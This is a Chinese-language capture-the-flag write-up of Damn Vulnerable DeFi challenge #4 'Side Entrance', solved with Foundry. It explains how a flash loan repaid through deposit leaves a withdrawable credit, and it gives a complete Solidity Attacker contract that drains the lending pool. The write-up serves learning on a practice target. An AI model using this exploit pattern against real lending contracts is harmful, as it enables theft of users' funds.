挑戰 #4 - 側門入口#
為了學習 solidity 和 foundry 系統,我使用 foundry 測試框架重新編寫了 damnvulnerable-defi 的解題方案,歡迎交流和共建~🎉
合約#
- SideEntranceLenderPool:提供 deposit 和 withdraw 方法,支援閃電貸款
腳本#
- 部署 SideEntranceLenderPool 合約
- 向 pool 中 deposit eth 數目 ETHER_IN_POOL
- 執行攻擊腳本
- 期望 pool 中的餘額為 0,player 餘額大於 ETHER_IN_POOL
解題方案#
本題的攻克點在於 deposit+withdraw,可以先通過閃電貸款獲得 eth,再呼叫 deposit 獲得憑證,再結束閃電貸款後通過 withdraw 提取出 eth,整體流程圖如下所示:
- 呼叫 pool 的 flashLoan 方法時會呼叫
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
,因此在攻擊合約中需要實現execute
方法,做的工作就是進行 deposit,從而完成閃電貸款還款,還多記錄了一份存款憑證 - player 再通過呼叫 withdraw 方法從 pool 中取出對應的 eth,全部轉移到 player,完成攻擊
合約代碼如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/side-entrance/SideEntranceLenderPool.sol";
contract Attacker {
SideEntranceLenderPool pool;
address owner;
constructor(address _pool){
pool = SideEntranceLenderPool(_pool);
owner = msg.sender;
}
receive() external payable {
payable(owner).transfer(msg.value);
}
function attack(uint256 amount) external payable{
pool.flashLoan(amount);
}
function execute() external payable{
uint256 value = msg.value;
// deposit
pool.deposit{value: value}();
}
function withdraw() external{
pool.withdraw();
}
}